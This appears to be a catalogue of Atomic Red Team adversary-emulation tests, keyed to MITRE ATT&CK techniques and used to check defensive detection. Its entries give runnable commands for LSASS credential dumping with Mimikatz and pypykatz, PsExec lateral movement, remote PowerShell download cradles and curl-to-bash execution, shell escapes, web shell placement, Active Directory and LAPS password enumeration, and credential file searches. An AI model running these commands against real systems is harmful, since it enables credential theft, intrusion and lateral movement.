Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD)
"#{venv_path}\Scripts\pypykatz" live lsa 
T1003.001 Offline Credential Theft With Mimikatz Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD)
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001 Powershell Mimikatz Windows PowerShell Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell)
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002 Copy and Execute File with PsExec Windows CMD Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD)
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
T1021.002 Execute command writing output to local Admin Share Windows CMD Privileged
Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.
Command (CMD)
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002 Map Admin Share PowerShell Windows PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell)
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002 Map admin share Windows CMD
Connecting To Remote Shares
Command (CMD)
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations Windows PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 Abuse Nslookup with DNS Records Windows PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell)
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001 Invoke-AppPathBypass Windows CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD)
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001 Mimikatz Windows CMD Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (CMD)
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
T1059.001 Mimikatz - Cradlecraft PsSendKeys Windows PowerShell Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell)
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001 NTFS Alternate Data Stream Access Windows PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell)
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001 PowerShell Command Execution Windows CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD)
powershell.exe -e  #{obfuscated_code}
T1059.001 PowerShell Fileless Script Execution Windows PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.
Command (PowerShell)
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001 PowerShell Invoke Known Malicious Cmdlets Windows PowerShell Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell)
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}
T1059.001 PowerShell Session Creation and Use Windows PowerShell Privileged
Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell)
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001 PowerUp Invoke-AllChecks Windows PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001 Powershell Invoke-DownloadCradle Windows Manual
Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001 Powershell MsXml COM object - with prompt Windows CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001 Powershell XML requests Windows CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001 Powershell invoke mshta.exe download Windows CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001 Run BloodHound from local disk Windows PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful...
Command (PowerShell)
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001 Run Bloodhound from Memory using Download Cradle Windows PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution...
Command (PowerShell)
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001 SOAPHound - Build Cache Windows PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001 SOAPHound - Dump BloodHound Data Windows PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1087.002 Account Enumeration with LDAPDomainDump Linux Shell
This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell)
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002 Active Directory Domain Search Linux Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell)
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002 Adfind - Enumerate Active Directory Admins Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002 Adfind - Enumerate Active Directory Exchange AD Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002 Adfind - Enumerate Active Directory User Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002 Adfind -Listing password policy Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002 Automated AD Recon (ADRecon) Windows PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.
Command (PowerShell)
Invoke-Expression "#{adrecon_path}"
T1087.002 Enumerate Active Directory Users with ADSISearcher Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002 Enumerate Active Directory for Unconstrained Delegation Windows PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information -...
Command (PowerShell)
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002 Enumerate Default Domain Admin Details (Domain) Windows CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD)
net user administrator /domain
T1087.002 Enumerate Linked Policies In ADSISearcher Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate Root Domain linked policies Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate all accounts (Domain) Windows CMD
Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD)
net user /domain
net group /domain
T1087.002 Enumerate all accounts via PowerShell (Domain) Windows PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell)
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002 Enumerate logged on users via CMD (Domain) Windows CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD)
query user /SERVER:#{computer_name}
T1087.002 Get-DomainUser with PowerView Windows PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002 Kerbrute - userenum Windows PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell)
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Suspicious LAPS Attributes Query with adfind all properties Windows PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002 Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd Windows PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Wevtutil - Discover NTLM Users Remote Windows PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell)
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002 WinPwn - generaldomaininfo Windows PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
